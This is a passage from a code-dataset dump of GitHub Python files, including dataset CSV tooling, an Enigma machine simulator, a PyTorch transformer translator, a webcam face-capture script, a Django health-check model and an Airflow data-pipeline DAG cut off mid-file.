pass\n","repo_name":"ylsxfz/yls_python_study","sub_path":"yls_d_advanced_use/k_logging_pit_point.py","file_name":"k_logging_pit_point.py","file_ext":"py","file_size_in_byte":13340,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18742127359","text":"import os\nimport pandas as pd\nfrom .log import _get_logging_level\nfrom .core import get_files_recursively\nimport logging\n\n\ndef make_dataset_csv(im_dir, im_ext='tif', label_dir=None, label_ext='json',\n output_path='dataset.csv', stage='train', match_re=None,\n recursive=False, ignore_mismatch=None, verbose=0):\n \"\"\"Automatically generate dataset CSVs for training.\n\n This function creates basic CSVs for training and inference automatically.\n See `the documentation tutorials `_\n for details on the specification. A regular expression string can be\n provided to extract substrings for matching images to labels; if not\n provided, it's assumed that the filename for the image and label files is\n identical once extensions are stripped. By default, this function will\n raise an exception if there are multiple label files that match to a given\n image file, or if no label file matches an image file; see the\n `ignore_mismatch` argument for alternatives.\n\n Arguments\n ---------\n im_dir : str\n The path to the directory containing images to be used by your model.\n Images in sub-directories can be included by setting\n ``recursive=True``.\n im_ext : str, optional\n The file extension used by your images. Defaults to ``\"tif\"``. Not case\n sensitive.\n label_dir : str, optional\n The path to the directory containing images to be used by your model.\n Images in sub-directories can be included by setting\n ``recursive=True``. This argument is required if `stage` is ``\"train\"``\n (default) or ``\"val\"``, but has no effect if `stage` is ``\"infer\"``.\n output_path : str, optional\n The path to save the generated CSV to. Defaults to ``\"dataset.csv\"``.\n stage : str, optional\n The stage that the csv is generated for. Can be ``\"train\"`` (default),\n ``\"val\"``, or ``\"infer\"``. If set to ``\"train\"`` or ``\"val\"``,\n `label_dir` must be provided or an error will occur.\n match_re : str, optional\n A regular expression pattern to extract substrings from image and\n label filenames for matching. If not provided and labels must be\n matched to images, it's assumed that image and label filenames are\n identical after stripping directory and extension. Has no effect if\n ``stage=\"infer\"``. The pattern must contain at least one capture group\n for compatibility with :func:`pandas.Series.str.extract`.\n recursive : bool, optional\n Should sub-directories in `im_dir` and `label_dir` be traversed to\n find images and label files? Defaults to no (``False``).\n ignore_mismatch : str, optional\n Dictates how mismatches between image files and label files should be\n handled. By default, having != 1 label file per image file will raise\n a ``ValueError``. If ``ignore_mismatch=\"skip\"``, any image files with\n != 1 matching label will be skipped.\n verbose : int, optional\n Verbose text output. By default, none is provided; if ``True`` or\n ``1``, information-level outputs are provided; if ``2``, extremely\n verbose text is output.\n\n Returns\n -------\n output_df : :class:`pandas.DataFrame`\n A :class:`pandas.DataFrame` with one column titled ``\"image\"`` and\n a second titled ``\"label\"`` (if ``stage != \"infer\"``). The function\n also saves a CSV at `output_path`.\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.setLevel(_get_logging_level(int(verbose)))\n logger.debug('Checking arguments.')\n\n if stage != 'infer' and label_dir is None:\n raise ValueError(\"label_dir must be provided if stage is not infer.\")\n logger.info('Matching images to labels.')\n logger.debug('Getting image file paths.')\n im_fnames = get_files_recursively(im_dir, traverse_subdirs=recursive,\n extension=im_ext)\n logger.debug(f\"Got {len(im_fnames)} image file paths.\")\n temp_im_df = pd.DataFrame({'image_path': im_fnames})\n\n if stage != 'infer':\n logger.debug('Preparing training or validation set.')\n logger.debug('Getting label file paths.')\n label_fnames = get_files_recursively(label_dir,\n traverse_subdirs=recursive,\n extension=label_ext)\n logger.debug(f\"Got {len(label_fnames)} label file paths.\")\n if len(im_fnames) != len(label_fnames):\n logger.warn('The number of images and label files is not equal.')\n\n logger.debug(\"Matching image files to label files.\")\n logger.debug(\"Extracting image filename substrings for matching.\")\n temp_label_df = pd.DataFrame({'label_path': label_fnames})\n temp_im_df['image_fname'] = temp_im_df['image_path'].apply(\n lambda x: os.path.split(x)[1])\n temp_label_df['label_fname'] = temp_label_df['label_path'].apply(\n lambda x: os.path.split(x)[1])\n if match_re:\n logger.debug('match_re is True, extracting regex matches')\n im_match_strs = temp_im_df['image_fname'].str.extract(match_re)\n label_match_strs = temp_label_df['label_fname'].str.extract(\n match_re)\n if len(im_match_strs.columns) > 1 or \\\n len(label_match_strs.columns) > 1:\n raise ValueError('Multiple regex matches occurred within '\n 'individual filenames.')\n else:\n temp_im_df['match_str'] = im_match_strs\n temp_label_df['match_str'] = label_match_strs\n else:\n logger.debug('match_re is False, will match by fname without ext')\n temp_im_df['match_str'] = temp_im_df['image_fname'].apply(\n lambda x: os.path.splitext(x)[0])\n temp_label_df['match_str'] = temp_label_df['label_fname'].apply(\n lambda x: os.path.splitext(x)[0])\n\n logger.debug('Aligning label and image dataframes by'\n ' match_str.')\n temp_join_df = pd.merge(temp_im_df, temp_label_df, on='match_str',\n how='inner')\n logger.debug(f'Length of joined dataframe: {len(temp_join_df)}')\n if len(temp_join_df) < len(temp_im_df) and \\\n ignore_mismatch is None:\n raise ValueError('There is not a perfect 1:1 match of images '\n 'to label files. To allow this behavior, see '\n 'the make_dataset_csv() ignore_mismatch '\n 'argument.')\n elif len(temp_join_df) > len(temp_im_df) and ignore_mismatch is None:\n raise ValueError('There are multiple label files matching at '\n 'least one image file.')\n elif len(temp_join_df) > len(temp_im_df) and ignore_mismatch == 'skip':\n logger.info('ignore_mismatch=\"skip\", so dropping any images with '\n f'duplicates. Original images: {len(temp_im_df)}')\n dup_rows = temp_join_df.duplicated(subset='match_str', keep=False)\n temp_join_df = temp_join_df.loc[~dup_rows, :]\n logger.info('Remaining images after dropping duplicates: '\n f'{len(temp_join_df)}')\n logger.debug('Dropping extra columns from output dataframe.')\n output_df = temp_join_df[['image_path', 'label_path']].rename(\n columns={'image_path': 'image', 'label_path': 'label'})\n\n elif stage == 'infer':\n logger.debug('Preparing inference dataset dataframe.')\n output_df = temp_im_df.rename(columns={'image_path': 'image'})\n\n logger.debug(f'Saving output dataframe to {output_path} .')\n output_df.to_csv(output_path, index=False)\n\n return output_df\n","repo_name":"CosmiQ/solaris","sub_path":"solaris/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7956,"program_lang":"python","lang":"en","doc_type":"code","stars":402,"dataset":"github-code","pt":"61"} +{"seq_id":"28485301985","text":"from googletrans import Translator\nimport re\nimport demoji\n\n\ntime_fix_re = re.compile(\"((\\d): (\\d))\")\n\n\nclass GoogleTranslator:\n def translate_from_bel(self, text):\n text = demoji.replace(text, \" \")\n translator = Translator()\n lan = translator.detect(text).lang\n if lan != 'be':\n return text\n result = translator.translate(text, src='be', dest='ru')\n translated_text = result.text\n for whole, first_digit, second_digit in time_fix_re.findall(translated_text):\n translated_text = translated_text.replace(whole, \"%s:%s\" % (first_digit, second_digit))\n return translated_text\n","repo_name":"creeston/Events","sub_path":"translators.py","file_name":"translators.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23523957501","text":"import re\n\ninfile = \"/Users/Christopher/Downloads/A-large.in-2.txt\"\noutfile = \"/Users/Christopher/Desktop/Python/CodeJam/practice.out.txt\"\ntxt = open(infile)\ndata = txt.read()\nlines = [l for l in re.split('\\n+', data) if l][1:]\n\nnewlines = []\nfor i,l in enumerate(lines):\n line = \"Case #\" + str(i+1) +\": \"\n letters = [l[0]]\n for c in l[1:]:\n if c >= letters[0]: letters = [c] + letters\n else: letters = letters + [c]\n\n newlines.append(line + ''.join(letters))\n\nlines = '\\n'.join(newlines)\n\ntarget = open(outfile, 'w')\ntarget.write(lines)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_181/997.py","file_name":"997.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21245355214","text":"\nimport cv2\nimport os\nimport imutils\npersonName = \"Axel\"\ndatapath = 'C:/Users/dell/Desktop/aplicacion/Aplicacion_TEC/Reconocimiento_Facial/Data'\npersonPath=datapath+'/'+ personName\nprint(personPath)\nif not os.path.exists(personPath):\n\tprint('Carpeta Creada: ', personPath)\n\tos.makedirs(personPath)\n#cap=cv2.VideoCapture('D:\\Documento\\Cuarto Semestre\\Semana Tec TC1001S.1\\Recocimiento Facial\\Yo.mp4')\ncap=cv2.VideoCapture(0)\nfaceClassif=cv2.CascadeClassifier(cv2.data.haarcascades+'haarcascade_frontalface_default.xml')\ncontador=0\nwhile True:\n\tret,frame=cap.read()\n\tprint(frame.shape)\n\tif ret==False:break\n\tframe=imutils.resize(frame,width=640)\n\tgray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\tauxFrame=frame.copy()\n\tfaces=faceClassif.detectMultiScale(gray,1.3,5)\n\tfor(x,y,w,h) in faces:\n\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,0),2)\n\t\trostro=auxFrame[y:y+h,x:x+w]\n\t\trostro=cv2.resize(rostro,(150,150),interpolation=cv2.INTER_CUBIC)\n\t\tcv2.imwrite(personPath+'/rostro_{}.jpg'.format(contador),rostro)\n\t\tcontador=contador+1\n\tcv2.imshow('frame',frame)\n\n\tk=cv2.waitKey(1)\n\tif k==27 or contador>=300:\n\t\tbreak\ncap.release()\ncv2.destroyAllWindows()","repo_name":"AdrianBecerra411/Aplicacion_TEC","sub_path":"Reconocimiento_Facial/Capturando_Rostros.py","file_name":"Capturando_Rostros.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30870885505","text":"import uuid\n\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\nfrom django_prometheus.models import ExportModelOperationsMixin\n\nfrom healthcheck.utils import hash_string\n\n\nclass LNCheck(ExportModelOperationsMixin(\"ln-check\"), models.Model):\n class Age(models.TextChoices):\n AGE_U18 = \"<18\", _(\"<18\")\n AGE_18T39 = \"18-39\", _(\"18-39\")\n AGE_40T65 = \"40-65\", _(\"40-65\")\n AGE_O65 = \">65\", _(\">65\")\n\n class Exposure(models.TextChoices):\n EXPOSURE_YES = \"yes\", _(\"Yes\")\n EXPOSURE_NO = \"no\", _(\"No\")\n EXPOSURE_NOT_SURE = \"not_sure\", _(\"Not Sure\")\n\n class Risk(models.TextChoices):\n RISK_LOW = \"low\", _(\"Low\")\n RISK_MODERATE = \"moderate\", _(\"Moderate\")\n RISK_HIGH = \"high\", _(\"High\")\n\n class Language(models.TextChoices):\n LANGUAGE_ENGLISH = \"eng\", _(\"English\")\n LANGUAGE_FRENCH = \"fr\", _(\"Français\")\n\n deduplication_id = models.CharField(max_length=255, default=uuid.uuid4, unique=True)\n created_by = models.CharField(max_length=255, blank=True, default=\"\")\n msisdn = models.CharField(max_length=255, db_index=True)\n source = models.CharField(max_length=255)\n age = models.CharField(max_length=5, choices=Age.choices)\n cough = models.BooleanField()\n fever = models.BooleanField()\n sore_throat = models.BooleanField()\n difficulty_breathing = models.BooleanField()\n muscle_pain = models.BooleanField()\n smell = models.BooleanField()\n exposure = models.CharField(max_length=9, choices=Exposure.choices)\n tracing = models.BooleanField(help_text=\"Whether the Lifenet can contact the user\")\n completed_timestamp = models.DateTimeField(default=timezone.now)\n timestamp = models.DateTimeField(default=timezone.now, db_index=True)\n risk = models.CharField(max_length=22, choices=Risk.choices)\n follow_up_optin = models.BooleanField(default=False)\n language = models.CharField(\n max_length=3, choices=Language.choices, null=True, blank=True\n )\n\n @property\n def hashed_msisdn(self):\n return hash_string(self.msisdn)\n\n def get_processed_data(self):\n return {\n \"deduplication_id\": str(self.deduplication_id),\n \"msisdn\": self.hashed_msisdn,\n \"timestamp\": self.timestamp.isoformat(),\n \"source\": self.source,\n \"age\": self.age,\n \"cough\": self.cough,\n \"fever\": self.fever,\n \"sore_throat\": self.sore_throat,\n \"difficulty_breathing\": self.difficulty_breathing,\n \"muscle_pain\": self.muscle_pain,\n \"smell\": self.smell,\n \"exposure\": self.exposure,\n \"risk\": self.risk,\n \"follow_up_optin\": self.follow_up_optin,\n \"language\": self.language,\n }\n","repo_name":"praekeltfoundation/healthcheck","sub_path":"lifenet/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1125473314","text":"#actual encryption algorithm stuff here\n\"\"\"\nat the very rudimentary level, the algorithm goes like this:\n\ninput -> plugboard -> right rotor -> mid rotor -> left rotor -> reflector -> left rotor -> mid rotor -> right rotor -> plugboard -> output\n\"\"\"\n\n#stepping a rotor, input is the wiring dict for a particular rotor\ndef step_rotor(rotor):\n\tnew_dict = {}\n\t#rotor is turning towards the operator, so decrement the pin number\n\tfor contact_in in rotor:\n\t\tnew_in = contact_in-1\n\t\tnew_out = rotor[contact_in]-1\n\t\tif(new_in < 1):\n\t\t\tnew_in = 26\n\t\tif(new_out < 1):\n\t\t\tnew_out = 26\n\t\tnew_dict[new_in] = new_out\n\treturn new_dict\n\n#pass in the wiring dictionaries populated in input.py\ndef enigma(msg,lr,lnotch,lstart,mr,mnotch,mstart,rr,rnotch,rstart,reflector,plugboard):\n\toutput_str = ''\n\tupp_msg = msg.upper()\n\tleft_rotor = lr\n\tmid_rotor = mr\n\tright_rotor = rr\n\tfor char in upp_msg:\n\t\t#don't encrypt any non alphabetic characters\n\t\tif(not char.isalpha()):\n\t\t\toutput_str = output_str + char\n\n\t\telse:\n\t\t\talphabet = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\n\t\t\t#maps alphabet to the entry wheel pins basically\n\t\t\tentry_mapping = { 'A':1,'B':2,'C':3,'D':4,'E':5,'F':6,'G':7,'H':8,'I':9,'J':10,'K':11,'L':12,'M':13,'N':14,'O':15,\n\t\t\t\t\t\t\t\t 'P':16,'Q':17,'R':18,'S':19,'T':20,'U':21,'V':22,'W':23,'X':24,'Y':25,'Z':26 }\n\t\t\toutput_char = char\n\t\t\tcurr_char_left = alphabet.index(lstart)\n\t\t\tcurr_char_mid = alphabet.index(mstart)\n\t\t\tcurr_char_right = alphabet.index(rstart) \n\t\t\tstep_mid = False\n\t\t\tstep_left = False\n\n\t\t\t##### 1. PLUGBOARD ######\n\t\t\t# print(\"step 1\")\n\t\t\t#if character needs to be swapped per plugboard\n\t\t\tif(output_char in plugboard): #char in keys\n\t\t\t\toutput_char = plugboard[output_char]\n\t\t\telif(output_char in plugboard.values()): #char in values\n\t\t\t\tfor key_char in plugboard:\n\t\t\t\t\tif(plugboard[key_char] == output_char):\n\t\t\t\t\t\toutput_char = key_char\n\t\t\t\t\t\tbreak\n\n\t\t\t##### 2. Stepping the rotors #####\n\t\t\t# print(\"step 2\")\n\t\t\tif(alphabet[curr_char_mid] == mnotch):\n\t\t\t\tstep_left = True\n\t\t\tif(alphabet[curr_char_right] == rnotch):\n\t\t\t\tstep_mid = True\n\n\t\t\tif(step_left):\n\t\t\t\tleft_rotor = step_rotor(left_rotor)\n\t\t\t\tcurr_char_left = (curr_char_left+1) % len(alphabet) #update rotor position (character that would show on top on an actual enigma machine)\n\t\t\t\tmid_rotor = step_rotor(mid_rotor) #mid rotor also steps because of the double stepping phenomena\n\t\t\t\tcurr_char_mid = (curr_char_mid+1) % len(alphabet) #update rotor position\n\t\t\t\tstep_left = False\n\t\t\t\tstep_mid = False #I haven't encountered this in all of the material that I've read so far about the enigma, but\n\t\t\t\t\t\t\t\t #basically the case where both the mid and right rotors are in their notch positions. If my logic\n\t\t\t\t\t\t\t\t #is correct, this can only happen if the starting positions of the rotors are set to the notch\n\t\t\t\t\t\t\t\t #positions intentionally.\n\t\t\tif(step_mid):\n\t\t\t\tmid_rotor = step_rotor(mid_rotor)\n\t\t\t\tcurr_char_mid = (curr_char_mid+1) % len(alphabet) #update rotor position\n\t\t\t\tstep_mid = False\n\t\t\tright_rotor = step_rotor(right_rotor) #right rotor steps with every keystroke\n\t\t\tcurr_char_right = (curr_char_right+1) % len(alphabet) #update rotor position\n \n\t\t\t##### 3. Rotors #####\n\t\t\t# print(\"step 3\")\n\t\t\tentry_out = entry_mapping[output_char]\n\t\t\tright_out = right_rotor[entry_out] #right rotor substitution\n\t\t\tmid_out = mid_rotor[right_out] #mid rotor substitution\n\t\t\tleft_out = left_rotor[mid_out] #left rotor substitution\n\n\t\t\t##### 4. Reflector #####\n\t\t\t# print(\"step 4\")\n\t\t\tref_out = reflector[left_out]\n\n\t\t\t##### 5. Rotors (again) #####\n\t\t\t# print(\"step 5\")\n\t\t\t#going backwards through the rotors, and since the rotor wiring dictionaries are one-directional,\n\t\t\t#have to go through the connections and find the input contact that connects to the output contact\n\t\t\t#that we got from the reflector\n\t\t\tmid_in = 0\n\t\t\twhile(mid_in == 0): #finding pin to mid rotor\n\t\t\t\tfor pin_in in left_rotor:\n\t\t\t\t\tif(left_rotor[pin_in] == ref_out):\n\t\t\t\t\t\tmid_in = pin_in\n\t\t\t\t\t\tbreak\n\n\t\t\tright_in = 0\n\t\t\twhile(right_in == 0): #finding pin to right rotor\n\t\t\t\tfor pin_in in mid_rotor:\n\t\t\t\t\tif(mid_rotor[pin_in] == mid_in):\n\t\t\t\t\t\tright_in = pin_in\n\t\t\t\t\t\tbreak\n\n\t\t\tentry_in = 0\n\t\t\t# print(right_rotor)\n\t\t\twhile(entry_in == 0): #finding pin to entry\n\t\t\t\tfor pin_in in right_rotor:\n\t\t\t\t\tif(right_rotor[pin_in] == right_in):\n\t\t\t\t\t\tentry_in = pin_in\n\t\t\t\t\t\tbreak\n\n\t\t\t#find what character has been output by all the rotor stuff\n\t\t\tfor letter in entry_mapping:\n\t\t\t\tif(entry_mapping[letter] == entry_in):\n\t\t\t\t\toutput_char = letter\n\t\t\t\t\tbreak\n\n\t\t\t##### 6. Plugboard (again) #####\n\t\t\t# print(\"step 6\")\n\t\t\t#if character needs to be swapped per plugboard\n\t\t\tif(output_char in plugboard): #char in keys\n\t\t\t\toutput_char = plugboard[output_char]\n\t\t\telif(output_char in plugboard.values()): #char in values\n\t\t\t\tfor key_char in plugboard:\n\t\t\t\t\tif(plugboard[key_char] == output_char):\n\t\t\t\t\t\toutput_char = key_char\n\t\t\t\t\t\tbreak\n\n\t\t\toutput_str = output_str + output_char\n\treturn output_str\n","repo_name":"ethanjpark/enigma_python","sub_path":"src/enigma.py","file_name":"enigma.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1174388403","text":"import torch\nimport torch.nn as nn\nimport re\nimport torch.optim as optim\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nSOS_TOKEN = \"\"\nEOS_TOKEN = \"\"\n\n\nclass Lang:\n \"\"\"表示一种语言.\"\"\"\n\n def __init__(self):\n self.word2idx = {SOS_TOKEN: 0, EOS_TOKEN: 1}\n self.idx2word = {0: SOS_TOKEN, 1: EOS_TOKEN}\n self.count = 2\n\n def add_sentence(self, sentence):\n raise NotImplementedError(\"未实现的方法.\")\n\n def to_tensor(self, sentence):\n raise NotImplementedError(\"未实现的方法.\")\n\n\nclass English(Lang):\n def __init__(self):\n super(English, self).__init__()\n\n def add_sentence(self, sentence):\n words = re.split(r\"\\s\", sentence)\n for word in words:\n if word not in self.word2idx:\n self.word2idx[word] = self.count\n self.idx2word[self.count] = word\n self.count += 1\n\n def to_tensor(self, sentence):\n words = re.split(r\"\\s\", sentence)\n lst = [self.word2idx[SOS_TOKEN]] + [self.word2idx[word]\n for word in words] + [self.word2idx[EOS_TOKEN]]\n return torch.tensor(lst)\n\n\nclass Chinese(Lang):\n def __init__(self):\n super(Chinese, self).__init__()\n\n def add_sentence(self, sentence):\n for word in sentence:\n if word not in self.word2idx:\n self.word2idx[word] = self.count\n self.idx2word[self.count] = word\n self.count += 1\n\n def to_tensor(self, sentence):\n lst = [self.word2idx[SOS_TOKEN]] + [self.word2idx[word]\n for word in sentence] + [self.word2idx[EOS_TOKEN]]\n return torch.tensor(lst, dtype=torch.long)\n\n\nMAX_SEQ_LEN = 128\n\n\nclass Translator(nn.Module):\n \"\"\"使用transformer实现翻译器.\"\"\"\n\n def __init__(self, d_model, input_lang, output_lang):\n super(Translator, self).__init__()\n self.d_model = d_model\n self.input_lang = input_lang\n self.output_lang = output_lang\n self.pe = Translator.positional_encoding(\n d_model, MAX_SEQ_LEN).clone().detach().requires_grad_(False)\n # 输入和输出对应的word embedding\n self.input_embedding = nn.Embedding(input_lang.count, d_model)\n self.output_embedding = nn.Embedding(output_lang.count, d_model)\n # transformer模型\n self.tf = nn.Transformer(\n d_model, nhead=8, num_encoder_layers=2, num_decoder_layers=2, dim_feedforward=1024)\n # 输出的分类器\n self.linear = nn.Linear(d_model, self.output_lang.count)\n self.logsoftmax = nn.LogSoftmax(dim=1)\n # 损失函数和优化器\n self.loss_fn = nn.NLLLoss()\n self.optim_fn = optim.SGD(self.parameters(), lr=0.02)\n\n @staticmethod\n def positional_encoding(d_model, max_len=128):\n pe = torch.zeros(max_len, d_model)\n pos = np.arange(0, max_len).reshape(max_len, 1)\n pe[:, 0::2] = torch.sin(torch.tensor(\n pos / (10000.0 ** (np.arange(0, d_model, 2) / d_model))))\n pe[:, 1::2] = torch.cos(torch.tensor(\n pos / (10000.0 ** (np.arange(0, d_model, 2) / d_model))))\n return pe\n\n def format_sentence(self, sentence, is_input=True):\n \"\"\"\n 把句子格式化成需要word embedding + positional encoding的形式.\n \"\"\"\n lang = self.input_lang if is_input else self.output_lang\n embedding = self.input_embedding if is_input else self.output_embedding\n\n x = lang.to_tensor(sentence)\n em = embedding(x)\n pe = self.pe[x, :]\n return (em + pe).unsqueeze(1)\n\n def train_with_one_setence_pair(self, src_sentence, tgt_sentence):\n \"\"\"\n 使用一对句子进行训练.\n :param src_sentence: 源语言句子\n :param tgt_sentence: 目标语言句子\n :return: 损失函数值\n \"\"\"\n self.optim_fn.zero_grad()\n tgt = self.output_lang.to_tensor(tgt_sentence)\n T = tgt.size(0) - 1\n mask = np.triu(np.ones((T, T)), k=1)\n mask[mask == 1] = -1e9\n tgt_mask = torch.from_numpy(mask)\n src_sentence = self.format_sentence(src_sentence)\n tgt_sentence = self.format_sentence(tgt_sentence, False)\n output = self.tf(src_sentence, tgt_sentence[0:-1], tgt_mask=tgt_mask)\n output = self.linear(output.view(-1, self.d_model))\n output = self.logsoftmax(output)\n loss_val = self.loss_fn(output, tgt[1:])\n loss_val.backward()\n self.optim_fn.step()\n return loss_val.detach().numpy()\n\n def forward(self, input_sentence):\n self.train(False)\n # 处理输入句子为word embedding + positional encoding的形式\n src_sentence = self.format_sentence(input_sentence)\n tgt = [self.output_lang.word2idx[SOS_TOKEN]]\n res = \"\"\n for _ in range(MAX_SEQ_LEN):\n em = self.output_embedding(torch.tensor(tgt))\n pe = self.pe[torch.tensor(tgt)]\n tgt_sentence = (em + pe).unsqueeze(1)\n output = self.tf(src_sentence, tgt_sentence)\n output = self.linear(output.view(-1, self.d_model))\n output = self.logsoftmax(output)\n output = torch.argmax(output, dim=1)\n output = output[-1]\n res += self.output_lang.idx2word[int(output.numpy())]\n if output == self.output_lang.word2idx[EOS_TOKEN]:\n break\n else:\n tgt.append(output)\n return res\n\n\nenglish = English()\nchinese = Chinese()\n\nwith open(\"./02-Translation/english.txt\", \"r\") as fin:\n english_content = fin.readlines()\n\nwith open(\"./02-Translation/chinese.txt\", \"r\") as fin:\n chinese_content = fin.readlines()\n\nfor i in range(len(english_content)):\n english.add_sentence(english_content[i])\n chinese.add_sentence(chinese_content[i])\n\nts = Translator(512, english, chinese)\nlvs = []\nfor i in range(100):\n lv = 0\n for j in range(len(english_content)):\n lv += ts.train_with_one_setence_pair(\n english_content[j], chinese_content[j])\n lvs.append(lv / len(english_content))\n\nplt.plot(lvs)\nplt.show()\n\nfor i in range(len(english_content)):\n print(\"English sentence: \" +\n english_content[i] + \" ===>: \" + ts(english_content[i]))\n","repo_name":"labusi/deep_learning_explore","sub_path":"02-Translation/translation_v2.py","file_name":"translation_v2.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1058425069","text":"import time\nfrom functools import wraps\nfrom gevent.hub import sleep\n\ndef timethis(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n print(end-start)\n return result\n return wrapper\n\nclass Span(object):\n \n def instance_method(self, n):\n print(self, n)\n while n > 0:\n n -= 1\n \n ''''\n The order of classmethod and timethis must not change.\n Other than, it will throw exceptin.\n '''\n @classmethod\n @timethis\n def class_method(cls, n):\n print(cls, n)\n while n > 0:\n n -= 1\n \n\nif __name__ == '__main__':\n s = Span()\n s.instance_method(1000)\n s.class_method(1000)\n","repo_name":"hotbaby/python-cookbook","sub_path":"python-cookbook-samples/meta-programming/decorator_with_staticmethod.py","file_name":"decorator_with_staticmethod.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10413898120","text":"import numpy as np\nimport pandas as pd\nimport scipy.sparse as sp\nfrom copy import deepcopy\nimport random\n\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\ndef normalize(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n mx = r_mat_inv.dot(mx)\n return mx\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n\n\ndef sample_negative(G_user, ratings, test_samples, num_negatives):\n \"\"\"return all negative items & 100 sampled negative items\"\"\"\n user_pool = set(G_user.nodes())\n interact_status = ratings.groupby('u1')['u2'].apply(set).reset_index().rename(\n columns={'u2': 'interacted_u2'})\n\n self_friend = pd.DataFrame({'u1': list(G_user.nodes()),\n 'u2': list(G_user.nodes()),\n 'label': 1})\n test_samples = pd.concat([test_samples, self_friend]).sort_values(['u1', 'u2'],\n ascending=[True, True]). \\\n reset_index(drop=True)\n\n _test_samples = deepcopy(test_samples)\n _test_samples = _test_samples.rename(columns={'u1': 'u2', 'u2': 'u1'})\n test_samples = pd.concat([test_samples, _test_samples]).sort_values(['u1', 'u2']).reset_index(drop=True)\n interact_status_test = test_samples.groupby('u1')['u2'].apply(set).reset_index().rename(\n columns={'u2': 'interacted_u2_test'})\n\n interact_status = pd.merge(interact_status, interact_status_test, on='u1', how='inner')\n\n interact_status['negative_u2'] = interact_status['interacted_u2'].apply(lambda x: user_pool - x)\n interact_status['negative_u2'] = interact_status['negative_u2'] - interact_status['interacted_u2_test']\n interact_status['negative_u2'] = interact_status['negative_u2'].apply(lambda x: random.sample(x, num_negatives))\n return interact_status[['u1', 'negative_u2']]\n\n\nclass UserUserRatingDataset(Dataset):\n \"\"\"Wrapper, convert Tensor into Pytorch Dataset\"\"\"\n\n def __init__(self, user_left_tensor, user_right_tensor, target_tensor):\n self.user_left_tensor = user_left_tensor\n self.user_right_tensor = user_right_tensor\n self.target_tensor = target_tensor\n\n def __getitem__(self, index):\n return self.user_left_tensor[index], self.user_right_tensor[index], self.target_tensor[index]\n\n def __len__(self):\n return self.user_left_tensor.size(0)\n\n\ndef instance_a_train_loader(train_ratings, negatives, num_negatives, batch_size):\n \"\"\"instance train loader for one training epoch\"\"\"\n u1s, u2s, labels = [], [], []\n train_ratings = pd.merge(train_ratings, negatives[['u1', 'negative_u2']], on='u1')\n train_ratings['negatives'] = train_ratings['negative_u2'].apply(lambda x: random.sample(x, 1))\n for row in train_ratings.itertuples():\n u1s.append(int(row.u1))\n u2s.append(int(row.u2))\n labels.append(float(row.label))\n for i in range(num_negatives):\n u1s.append(int(row.u1))\n u2s.append(int(row.negatives[i]))\n labels.append(float(0)) # negative samples get 0 rating\n dataset = UserUserRatingDataset(user_left_tensor=torch.LongTensor(u1s),\n user_right_tensor=torch.LongTensor(u2s),\n target_tensor=torch.FloatTensor(labels))\n # target_tensor=torch.LongTensor(labels))\n return DataLoader(dataset, batch_size=batch_size, shuffle=True)","repo_name":"zhiqiangzhongddu/NeuLP","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23062872549","text":"import datetime\n\nfrom airflow import models\nfrom airflow.contrib.operators.file_to_gcs import FileToGoogleCloudStorageOperator\nfrom airflow.contrib.operators.gcs_to_bq import GoogleCloudStorageToBigQueryOperator\n\ndefault_dag_args = {\n 'start_date': datetime.datetime(2019, 1, 14),\n 'retry': 1,\n 'retry_delay': datetime.timedelta(minutes=4),\n 'project_id': models.Variable.get('project_id'),\n}\n\nwith models.DAG(\n 'gcp_sample_dag',\n schedule_interval=None,\n default_args=default_dag_args) as dag:\n\n local_to_GCS_task = FileToGoogleCloudStorageOperator(\n task_id='local_to_GCS',\n src=models.Variable.get('local_src'),\n dst=models.Variable.get('gcs_dst'),\n bucket=models.Variable.get('gcs_bucket'),\n google_cloud_strage_conn_id='google_cloud_storage_default',\n )\n\n gcs_to_bq_task = GoogleCloudStorageToBigQueryOperator(\n task_id='gcs_to_bq',\n bucket=models.Variable.get('gcs_bucket'),\n 